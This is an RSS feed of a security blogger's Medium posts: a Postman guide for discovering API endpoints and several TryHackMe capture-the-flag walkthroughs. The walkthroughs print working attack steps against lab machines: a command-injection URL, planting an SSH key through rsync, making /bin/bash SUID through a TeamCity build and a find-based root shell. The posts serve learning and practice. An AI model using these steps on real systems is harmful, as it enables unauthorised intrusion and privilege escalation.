<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Newman Mortey on Medium]]></title>
        <description><![CDATA[Stories by Newman Mortey on Medium]]></description>
        <link>https://medium.com/@optimus-pryme?source=rss-fbfc5c6af17b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BDE-8cvKlAYqsiAHSyCikg.jpeg</url>
            <title>Stories by Newman Mortey on Medium</title>
            <link>https://medium.com/@optimus-pryme?source=rss-fbfc5c6af17b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 14:29:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@optimus-pryme/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[REVERSE ENGINEERING APIs TO FIND ENDPOINTS]]></title>
            <link>https://medium.com/@optimus-pryme/reverse-engineering-apis-and-find-endpoints-fd06907cc1a5?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd06907cc1a5</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 05:23:30 GMT</pubDate>
            <atom:updated>2023-03-23T13:54:22.196Z</atom:updated>
            <content:encoded><![CDATA[<p>Have you ever used Postman to manually find API endpoints? Unless you have access to the API’s documentation, you will need to construct your own set of requests.Oh yes i know Burp does all the automation but remember scanners are easily detected.</p><blockquote>In this guide, I’ll demonstrate setting up Postman as a proxy server, using it to create your own API collections, and manually discovering API endpoints that might not know.</blockquote><h3>GETTING STARTED….</h3><ul><li>Visit this <a href="https://www.postman.com/downloads/"><strong>website</strong></a>, choose the appropriate version for your machine, and then wait for the download to finish before continuing.</li><li>Depending on your System, follow the instructions provided to install the Postman Package — Windows, <a href="https://fossbytes.com/install-postman-on-linux/">Linux</a>, and MAC</li><li>To create an account, navigate to the postman website.<br>You’ll require this.</li><li>Start up Postman.</li></ul><h3>SETTING UP POSTMAN AS A PROXY</h3><p>Proxies enable you to inspect the HTTP request and make whatever alterations you wish. This is why having one is so important.</p><p>In order to automatically show all possible API endpoints while you manually navigate the web site, we will configure Postman as a proxy server and intercept all requests made to an API endpoint as we browse.To do this:</p><ul><li>Click on the capture request button at the bottom of the window</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Er4zeBuqUozs0IrgB_AeXA.png" /></figure><ul><li>From the capture request page, enter the URL to intercept. There are a few options you can set to ensure that your captures are more specific. For example you can decide which HTTP Methods to intercept by specifying it in the “Method input”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J2fhxsCWaFd_d7edl1WHsA.png" /></figure><ul><li>Click on the “enable proxy” button to set the proxy port to listen on. By default Postman listen on port 5555. Click on enable proxy when done.ii</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*PBXyDBDDstjRYEjs6IpKJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*fEZLGXRbIdWRefu_jqk9zg.png" /></figure><ul><li>After enabling proxy, you should see the “Proxy Enabled” turned green. Now click on the “Start Capture”</li></ul><p>Now we have successfully set Postman as a Proxy. Next we need to go to our browser and set it to send all request to your Proxy on port 5555.</p><h4>How do you do this?</h4><ul><li>Launch your browser ( I am using Firefox)</li><li>Open your Setting</li><li>Scroll to the Network Setting section and click on “Settings”</li><li>Now select “Manual proxy configuration”</li><li>Enter 127.0.0.1 and 5555 as the IP Address and Port respectively</li><li>Click on “OK” button to save your settings.</li></ul><h3>DISCOVERING API ENDPOINT</h3><p>Consider a scenario in which we have a web application that interacts with a REST API but do not explicitly know the API endpoints. How can we analyze the application to discover all of its endpoints?.</p><blockquote>It’s simple……Manually browser the web application and allow the proxy to log all the endpoints. Yes we are not automating this time and i know it hurts</blockquote><p>To demonstrate this, we are going use a publicly accessible API from my APIsec course <a href="http://crapi.apisec.ai/login"><strong>here</strong></a><strong>.</strong></p><ul><li>After reaching the homepage, you will be sent to a screen where you may enter your login information. Keep in mind that you must put this URL proxy URL settings</li><li>As we do not have proper credentials, we will create on by clicking on the set up an account page. A sign-up form should be given to us as shown below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Gu97B5Uqhg6BJkiC-zuQw.png" /></figure><ul><li>As shown below we can now have all our request to this API endpoints listed in the Proxy</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yazNlFltFXkTiimPxVM0A.png" /></figure><ul><li>We can further analyze and modify the data send over to these endpoints as shown below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVXGMYDBffxkOJM9WIlODw.png" /></figure><ul><li>Now continue browsing the web application and Postman will automatically log all the endpoints for later analysis.</li></ul><p>This is how you reverse engineer the API Endpoints that is not documented for you. Hope you find it useful in your next web application or API security assessment.</p><h4>Final recommendations</h4><p>Keep browsing through the web application extensively to have Postman log all the endpoints for further assessment.</p><blockquote>Suggestions are welcomed. Get in touch with me on <a href="https://www.linkedin.com/in/newman-mortey/">LinkedIn</a>; I’d be happy to hear from you. I appreciate you reading this guide.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd06907cc1a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING VULNET:INTERNAL [TryHackMe] : CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-vulnet-internal-tryhackme-ctf-challenge-cfb9fcfcb10a?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfb9fcfcb10a</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Fri, 17 Mar 2023 11:20:24 GMT</pubDate>
            <atom:updated>2023-03-17T11:20:24.261Z</atom:updated>
            <content:encoded><![CDATA[<h3>HACKING VULNET:INTERNAL [TryHackMe] : CTF CHALLENGE</h3><p>Welcome Security Researchers! we have a simple task today.</p><blockquote>VulnNet Entertainment is a company that learns from its mistakes. They quickly realized that they can’t make a properly secured web application so they gave up on that idea. Instead, they decided to set up internal services for business purposes. As usual, you’re tasked to perform a penetration test of their network and report your findings.</blockquote><h3>Scope of Penetration Test</h3><ul><li>Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first</li><li>Locate and note all vulnerabilities found</li><li>Submit the flags discovered to the dashboard</li><li>Only the IP address assigned to your machine is in scope</li><li>Find and report ALL vulnerabilities (yes, there is more than one path to root)</li></ul><h3>How To Getting Started</h3><p>To assess this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “Vulnet:Internal”</li></ul><h3>RECONNAISSANCE OF TARGET</h3><p>The reconnaissance stage of any security assessment and even cybersecurity attack, commonly referred to as “recon,” is crucial. To find weaknesses and prepare an attack, it includes obtaining knowledge about the target network or system.</p><p>Many methods, such as network scanning, social engineering, and open-source intelligence (OSINT) collecting, can be used for reconnaissance. The objective is to gather as much data on the target as possible, including IP addresses, open ports, software versions, and staff details.</p><p>This stage is crucial since it aids the adversary in truly understanding the target’s infrastructure and locating vulnerabilities that can be taken advantage of. It’s also a crucial phase in developing a plan for a targeted attack that is customized for the particular target.</p><p>For our Penetration Test Assessment, we are provided with only the IP info of our target. As such, we will be required to find all other information using some Recon techiques such as:</p><ul><li>Scanning the Target for Open ports,Services and Versions</li><li>Web directory brute-forcing (if available)</li><li>Discovering web technology stack of Web Services</li><li>etc</li></ul><blockquote>Lets start…</blockquote><h3>STEP 1 — SCANNING OF THE TARGET</h3><p>Finding open ports and active services on a target machine is part of the scanning process. This is achieved by transmitting packets to the target and analyzing the resulting response. This procedure can be automated, and scanning tools like Nmap can produce a thorough report on open ports and services. Understanding the target’s attack surface and locating potential vulnerabilities require knowledge of open ports and services.</p><p>Using the nmap tool, we will carry out this step as follows:</p><pre>- Pn : igmonre Pinging target<br>- sV : determing version of service<br>- Sc : perfomr default scripts scan<br><br>nmap -Pn -sC -sV [IP address]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*x-3LBuqxSlAMcFp-C9J7sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*RUP9QIYESArIOkz-Pgv1aw.png" /></figure><p>As demonstrated above we discovered several ports open on our target. Particularly, we observed the port 111/tcp to display multiple times.</p><p>With all these ports available to us, we will carry out a very important aspect of the assessment — <strong>Research</strong></p><h4>How to Research To Get Results</h4><blockquote>I have noticed something about education and it is that you cannot know it all</blockquote><p>We have ton of information made available to us daily. As a Pentester or Security Researcher, with all these scan information, we can simply lookup at what these ports are known for and the functions of the services running on them.</p><p>For example we discovered port 111/TCP, so we can simply type this in any search engine;</p><blockquote>“Port 111/tcp services and pentesting”</blockquote><p>We should be able to see ton of results with some explaining that this port is used for NFS, NIS, or any rpc-based service</p><h4><strong>What is NFS or NIS?</strong></h4><p>NFS (Network File System) and NIS (Network Information System) are both network-based technologies created by Sun Microsystems that are used to centralize the storage and administration of files and system information over a network.</p><p>Clients can exchange and access files stored on a remote server via NFS just as they were local files. Users and systems often share files and folders in Unix and Linux environments.</p><p>NIS, on the other hand, is a centralized directory service that offers a mechanism to manage system data across several computers on a network, including user accounts, passwords, and host names. Instead of keeping separate copies of this data on each machine, it enables clients to access it from a single server.</p><p>Additionally we also discovered port 139 and 445 used for SMB file sharing. This is a popular port for file sharing services as such we will start to enumerate further from here.</p><h3>ENUMERATING SMB SHARES</h3><p>Previously, we discovered a valid user for our smb shares named “guest” which mostly require no password or authentication. We will first list all the shares available on the target and proceed to connect to them.</p><p>To carry out this activity we will utilize the SMBclient tool as follows:</p><pre>- List all smbshares on target <br><br>smbclient -L \\[IP Address]\\<br><br><br>- Connect to a share on target <br>- You will be prompted for a password <br><br>smbclient -U [username] \\[IP Address]\[share name]\</pre><p>Following through these commands should provide us with all the files shares available on target and also connect to them as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*YFFYvupiX1mP4DRUr3Szaw.png" /></figure><p>Once we are connected to the share name “<strong>share”, </strong>we are able to list all the files in there and retrieve them using the “mget” command as demonstrated below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*LjwVAXMHjQj7R6DZ10ISjA.png" /></figure><p>We should find our first flag in the files we downloaded from the shares</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*-p3fg8Q5Dufs4_sUd2LFpQ.png" /></figure><p>Next, we proceed to discover what we can have from the other Services available in target.</p><h3>PEN-TESTING PORT MAPPER — 110/TCP RPC BIND</h3><p>As discussed earlier, port 110/tcp is for NFS which allows us to connect,access and exchange files on a remote server.</p><p>To enumerate the service, we will utilize the nmap tool once again using the command:</p><pre><br>nmap -A -p 111 [IP Address]</pre><p>This scan should provide us with results as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*bV7kQduub1-5vWtMWMmV0g.png" /></figure><p>Take note of the service section of the nmap results for the following:</p><ul><li>If you find the service NFS then probably you will be able to list and download(and maybe upload) files:</li><li>If you find the service mountd then probably you will be able to mount the service to your local file system.</li></ul><p>We can query the mount information from the remote target using the linux command utility “<strong>showmount</strong>”. This is accomplished by using the command:</p><pre><br>showmount -e [IP address]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*p5x4u3JnTDFSR8h98AUZEg.png" /></figure><p>We have only the /opt/conf * directory on remote server available. Let’s mount it and see what we can find.</p><p>To mount the /opt/config directory to our local file system, we will use the mount command line utility in Linux but first let’s create a separate folder for that first.</p><pre># create directory for mounting<br>mkdir remote-filesys<br><br># -t : determines the filesystem type<br>mount -t nfs [IP address]:[remote shared directory] [mount point on your computer]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*FRmczkuQH5ZMxvQqdBAK0A.png" /></figure><p>We have successfully mounted the network file system on the remote target and listed the files in it as well as shown in image above.</p><p>In the directory, we find a redis.conf file that contained clear-text password. This could possibly be used to connect to a redis daemon that may be available in target</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*cJkRoBIopcqglQADM-sBeg.png" /></figure><h3>CONNECTING TO REDIS</h3><p>What is Redis?</p><blockquote>Redis is a popular database, cache, and message broker that is open-source and stores data structures in memory. This NoSQL database is well-known for its quick read and write rates, scalability, and flexibility.</blockquote><h4>How to connect to Redis</h4><p>To connect to a Redis server in Linux, you can use the redis-cli</p><p>Using the command below should allow us to easily connect to the Redis server and query it:</p><pre><br>redis-cli -h {IP or Hostname] -p [POrt]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*1xgP91YGgOgtZRXTXEcGtQ.png" /></figure><blockquote>I recommend you research a bit about redis and it’s basics. You can check this page out: <a href="https://www.w3schools.io/nosql/redis-tutorial/">https://www.w3schools.io/nosql/redis-tutorial/</a></blockquote><p>To obtain the user.txt flag we need to list the authlist Key as follows:</p><pre><br>&gt; type authlist<br>&gt; lrange authlist 1 100 </pre><p>We observe that the authlist type are base64 encoded. To decode it, we could simply use the command line tool base64 in Linux as follows:</p><pre><br>echo [base64 encoded text] | base64 --decode</pre><p>By decoding the results from authlist, we found the rsync credentials as follows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*APEsZfQBhEPZ6MmFHZnhOg.png" /></figure><h4>What is Rsync?</h4><p>Rsync (short for “remote synchronization”) is a popular and versatile file synchronization and transfer tool for Linux and other Unix-like operating systems. It is used to synchronize files and directories between two locations, either on the same machine or on different machines over a network.</p><p>To get name of all the files or directories we can use the following command:</p><pre>rsync [IP address]::</pre><p>To interact with files directory and copy all the files using the following command:</p><pre>rsync -av rsync://rsync-connect@ip_address/files user_files</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*O9rKYaEbEYhheZ55GF1QaA.png" /></figure><p>Great news! We found a .ssh directory while enumerating sys-internal files and directories. This means we can upload our own id_rsa.pub to the .ssh directory using the command shown below</p><pre>rsync -av /home/optimus-pryme/.ssh/id_rsa.pub rsync://rsync-connect@ip_address/files/sys-internal/.ssh/authorized_keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*xL31pXGwg1_VLjHoPikanQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*3P0I3NuOiCIQfLNYKOqQjw.png" /></figure><p>Now we can access the SSH using the sys-internal user as below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*iwpgUq2YMFvGdPDF5F3rlw.png" /></figure><p>Great we have successfully obtained the user.txt file.</p><h3>PRIVILEGE ESCALATION</h3><p>Now it’s time for privilege escalation. We will first look at the local ports only that maybe open and some services using the command</p><pre><br>ss -tno</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*yQ7opqdAv-0pZBVi5VNjLQ.png" /></figure><p>From image above we identify that some ports to be open locally only. So what we can do is to use port forwarding to access services on those ports.</p><p>To use port forwarding, use the command below:</p><pre>sudo ssh sys-internal@[IP Address] -i /home/optimus-pryme/.ssh/id_rsa -L [PORT NUMBER]:127.0.0.1:[PORT NUMBER]</pre><p>After trying all the ports we found the port 8111 to have a web service. With this, we can now enumerate directories of this web services as shown below:</p><pre>dirsearch -u 127.0.0.1:8111</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pQbh9oJSqmJvwwaR8y99w.png" /></figure><p>There is an admin login page available as well and it allows only tokens. What we will do is to look around in the filesystem for tokens that may be valid. Use the command :</p><p>After analyzing the content of the / directory of the target we found a TeamCity folder that sub-folders. In the logs folder we analyzed a Catalina.out file. This file had tokens which was helpful to login in as an admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*qKeqCueIVPFcqLCejD4d_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*es4KuU0KlpF_aagXYDSoTQ.png" /></figure><p>Once we’ve logged in, we will elevate our privileges.</p><p>To do this, we need to :</p><ul><li>Create a new project</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*LYfVk5tI_dnx133E9ihBGA.png" /></figure><ul><li>Create a build configuration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*pKKgfB_LzzuNARK6caZajA.png" /></figure><ul><li>Navigate to the project bar menu and then click on the name of build configuration to go to edit configuration settings.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*WyV9iHkMp1v8ct11dES1Mg.png" /></figure><ul><li>Select Add build step and add the following command as script to make bash a SUID binary</li></ul><pre><br>chmod u+s /bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*Gwc9KnJGAflNxOSe1eCO1g.png" /></figure><ul><li>Now run the build and check the permission in the terminal</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*wJaMjzyh7R_dbZR5TjooOA.png" /></figure><p>Now that we have made /bin/bash a SUID binary, we can run /bin/bash as follows to get root access:</p><pre>/bin/bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*4sB_nZ2SH2tyXEAw9BkNzw.png" /></figure><p>We have successfully breached the Vulnet:Internal machine.</p><p>Suggestions are welcomed. Get in touch with me on <a href="https://www.linkedin.com/in/newman-mortey/">LinkedIn</a>; I’d be happy to hear from you. I appreciate you reading this guide.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfb9fcfcb10a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING BOILER[TryHackMe] CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-boiler-tryhackme-ctf-challenge-a5ef2866b01?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5ef2866b01</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Mon, 27 Feb 2023 20:33:45 GMT</pubDate>
            <atom:updated>2023-02-27T20:33:45.916Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the BoilerCTF. Take note ! you need to pay attentions to everything to complete this challenge.</p><p>Scenario</p><p>You are enthusiastic about Cybersecurity specifically in the Offensive domain. As an intermediate learner, you have been provided with machine to enumerate as much as you can and provide answers to questions that will be asked. This is a CTF machine from TryHackMe to test you enumeration skills specifically.</p><blockquote>Test your might……..</blockquote><h3>Getting Started</h3><p>How to use this machine:</p><ul><li>Sign up for a TryHackMe account. If you already have a job, that’s a great one.</li><li>Select “Access” from the drop-down menu that appears when you click on your profile picture.</li><li>You can get your openvpn file from the “Access” page. You can connect to the TryHackMe network through the OpenVpn Connection with the help of this configuration file.</li><li>Start up Terminal and go to where your downloads are.</li><li>Type “sudo openvpn [name of openvpn configuration file]”</li><li>Now, go back to your browser and click on the “Learn” icon in the navigation bar of the TryHackme page.</li><li>You should see three tabs on the “Learn” page: Learn, Practice, and Search. Click the Search button.</li><li>Try looking for “Boiler CTF”</li></ul><h3>Reconnaissance — Getting to know our target</h3><p>Remember it’s all about enumerating, First, we will scan the target machine. This makes it possible for us to understand what was going on.</p><p>We will use the nmap tool with the following command to scan. The basic command syntax to start scan is as below:</p><pre># -A options performs a script,version and OS detection scan of target<br># Sometimes targets may block your scans because a ping is sent before scanning<br># You can an the -Pn options if you face this issue<br># Also you can remove the -A and replace it with -sC -sV which are default script and service scan respectively<br><br>nmap -A [ip address]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*nhqJ6NWLWPAQwFJQBmYp2Q.png" /></figure><p>As shown above we had several ports open namely:</p><ul><li>Port 21</li><li>Port 80</li><li>Port 1000</li></ul><h4>ACCESSING FTP SERVICE VIA ANONYMOUS LOGIN</h4><p>We were able to discover an FTP service on port 21 and for that we will try to login via anonymous.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*oezIdYnJBW2lmqJj1xNLgA.png" /></figure><p>Providing anonymous as username to FTP services allowed access to the service and we are able list and retrieve a file named “.info.txt”.</p><blockquote>NOTE: This file is hidden so you’ll need to use the “ls -a” command to list it”</blockquote><h4>ACCESSING WEB SERVICES ENUMERATING WEB DIRECTORIES</h4><p>Additionally, we discovered two distinct ports that hosted web services. To access these webpages we will need to carry out some directory brute-forcing using the dirsearch.py tool.</p><blockquote>NB: You can basically navigate to these pages via the target IP address but without trying to brute-force common directories you’ll be limited.</blockquote><p>To use the dirsearch tool for brute-forcing, use the command syntax below:</p><pre>dirsearch [URL of Target] </pre><p>By running this command on port 80, we found nothing much than:</p><ul><li>Apache homepage</li><li>robots.txt file : This file had some directory listing which in was not accessible</li><li>A joomla directory that had several sub-directories as shown blow:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*dwN-DucttpaC6DNjUkK2JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*M7DqkusHlySqmCL0xTjxvg.png" /></figure><p>On port 10000 we found only a web admin page requiring login credentials as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*WC7avt9QCge3Lw9Z_0GuiA.png" /></figure><p>On the joomla directory, we are presented with a Joomla login page and trying a brute-forcing gave us valid credential.</p><p>From the numerous directories that we brute-forced, we found one particular one that was using “<strong>sar2html”. </strong>The sar2html is a plotting tool for system statistics (sar data).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*l1s3mVgLfBU5hTsc2KGfVA.png" /></figure><p>With this tool we found a publicly available exploit for it on exploit DB.</p><h4>EXPLOITING SAR2HTML</h4><p>The exploit a RCE and can be downloaded from exploit DB. Once downloaded, we will run the exploit as follows:</p><pre>python3 [name of exploit].py </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*jCL-m9sK-S39sl1KwO7_Kw.png" /></figure><p>Similarly, we can execute this manually in the browser and we will see the results of the command injected as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*3ddywZgAxi1ytq7G6oxGMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*g4ZSWEMd1KVW8uP44IoIBA.png" /></figure><p>With this same technique, we will use the “<strong>ls -a” </strong>command to list content in the current working directory and see if we can find useful files otherwise we try other directories that the “www-data” user is allowed to list. The command should be as below:</p><pre>http://10.10.205.17/joomla/_test/index.php?plot=LINUX;ls -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*3ogutqeupRCPVmd10jq-ig.png" /></figure><p>As seen above we are able to list the files and we discovered a file named “log.txt”.</p><blockquote>Let’s output its content with cat command</blockquote><p>After displaying the content of the log.txt file we find a username and password in clear text. The credential seemed to be used for SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*jJRJ9BdUGaCOpPrz0rLRIg.png" /></figure><blockquote>But we didn’t find SSH initially, so what do we do?</blockquote><p>We will have to rescan all the ports (not just the first 1000). The default SSH port 22 may have been changed by system user. To complete this scan, we will use the nmap command:</p><pre>nmap -p- [Target] -T5<br><br># This scan may take long but we should find the SSH port</pre><p>We successfully logged into the “bastered” user account and found a backup.sh script but no flag.</p><p>Examining the script, we will notice another user account with password in plain-text.</p><blockquote>Let’s SSH into that user account.</blockquote><p>Now we have SSH into the stoner user, we need to now escalate our privilege to have our root flag.</p><h3>PRIVILEGES ESCALATION</h3><p>To escalate privileges, we will use the linepeas script to assist us easily discover which path or binary is vulnerable.</p><blockquote>NB: When we try running sudo -l to see the permissions of the user it shows a directory that apparently provides nothing much.</blockquote><p>We will download the LinePeas.sh script on system using “git clone” and use “<strong>s</strong>cp” to transfer it unto the target’s system.</p><p>To download LinePeas use the command:</p><pre>git clone [LinePeas URL]</pre><p>To transfer the LinePeas from your system to target’s system, use the scp command:</p><pre>scp -P [port number] [file to transfer] [user]@[remote host]:[directory on remote host]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*h3JOIoeqgsp5ffXobokyaA.png" /></figure><p>Once Linepeas.sh is successfully target we will SSH again into the stoner user and run the command</p><pre>bash linepeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*lcpOIoXdNOcPebNOCfWHTw.png" /></figure><p>LinePeas script identified a misconfiguration Binary as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*8TZS4EVRP8LmCADx1AI-Rg.png" /></figure><p>To exploit this binary we will run the command</p><pre>find . -exec /bin/sh -p \; -quit</pre><blockquote>That should be all. You have successfully exploited the target system.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5ef2866b01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING INTERNAL [TryHackMe] : CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-internal-tryhackme-ctf-challenge-4138c05efec8?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4138c05efec8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Wed, 22 Feb 2023 02:25:33 GMT</pubDate>
            <atom:updated>2023-02-22T02:25:33.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>HACKING INTERNAL [TryHackMe] : CTF CHALLENGE</h3><p>Welcome onboard to your new role as a Pen-tester. Now it’s time for your first task:</p><blockquote>The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).</blockquote><h4>Scope of Penetration Test</h4><ul><li>Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first</li><li>Locate and note all vulnerabilities found</li><li>Submit the flags discovered to the dashboard</li><li>Only the IP address assigned to your machine is in scope</li><li>Find and report ALL vulnerabilities (yes, there is more than one path to root)</li></ul><h3>Getting Started</h3><p>To assess this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “Internal”</li></ul><h3>Penetrating Methodologies</h3><p>The penetration methodology described below will be the main focus of this walk-through:</p><ul><li>Scanning of the Target system (Nmap)</li><li>Enumerating the HTTP service port</li><li>Brute-forcing Web directories</li><li>Brute-forcing for WordPress user credentials</li><li>Injecting Reverse Shell into 404.php page</li><li>Manually enumerating file system for user credentials</li><li>SSH Tunneling into target</li><li>Brute-Forcing for Jenkins credentials</li><li>Executing reverse shell in Jenkins Script console</li><li>Manually enumerating file system root credentials</li><li>SSH into root for root flag</li></ul><h3>STEP 1 — SCANNING OF THE TARGET</h3><p>The first step in the penetration strategy used to learn more about a target is reconnaissance. It involves scanning our target for us.</p><p>Using the nmap tool, we will carry out this step as follows:</p><pre>sudo nmap -sC -sV [IP] -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*HZgdnpDsf5ztAqGfCEKsvw.png" /></figure><p>From the above we see that the scan indicates that two(2)well known services are running, notably:</p><ul><li><strong>port 22 </strong>: SSH — a secure shell, used for remote acces<strong>s</strong></li><li><strong>port 80 </strong>: HTTP — hyper text transport protocol, used for serving web pages</li></ul><h3>STEP 2 — ENUMERATING THE HTTP SERVICE</h3><p>We just see the standard APACHE installation page when we go to the target’s IP address in the browser.<br>There should undoubtedly be more than what is shown to us. We’ll use a tool called dirsearch.py to find the HTTP service’s hidden folders.</p><p>The following is the syntax for the dirsearch tool command:</p><pre># URL is the target IP <br># Wordlist is the list of possible directoy names for brute-forcing.<br># If no wordlist is provided then, dirsearch will use it own wordlist.<br><br>dirsearch -u [URL] -W [WORDLIST]</pre><figure><img alt="" 